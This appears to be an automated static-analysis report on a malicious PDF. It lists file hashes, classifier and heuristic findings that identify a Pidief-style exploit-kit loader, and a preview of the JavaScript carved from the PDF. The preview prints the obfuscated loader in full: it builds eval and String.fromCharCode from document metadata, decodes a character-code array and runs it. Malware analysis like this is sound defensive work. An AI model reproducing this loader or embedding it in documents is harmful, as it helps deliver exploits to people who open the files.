Malicious PDF — malware analysis report

Static analysis result for SHA-256 4e24a22dccf61c91…

MALICIOUS

PDF

45.0 KB Authoring application: substr First seen: 2013-07-25
MD5: 7c40e956574e7bc6f854376ab01f083a SHA-1: 5db555ec4a3e4c53a92d2a5bd9b9d5a2f2c784b3 SHA-256: 4e24a22dccf61c91b3c0edd53fa096a4afaaf95207e6747475c709a4f042261d
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB126 483 bytes
SHA-256: 753059a4425360da360b02daa0eac2df43cacae007afb1961a5bdb5f1dfa8101
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
umd=e(v[4]+'i'.concat(v[4],t));
q=umd[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
imqfv=e(e('d'));
sub=v[0];
sub+='ubject';
q=umd[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	eymew = 1*(q[i]);
	i++;
	eymew -= (-1)*(q[i]);
	s2 += imqfv(eymew);
	i++;
}
e(s2);

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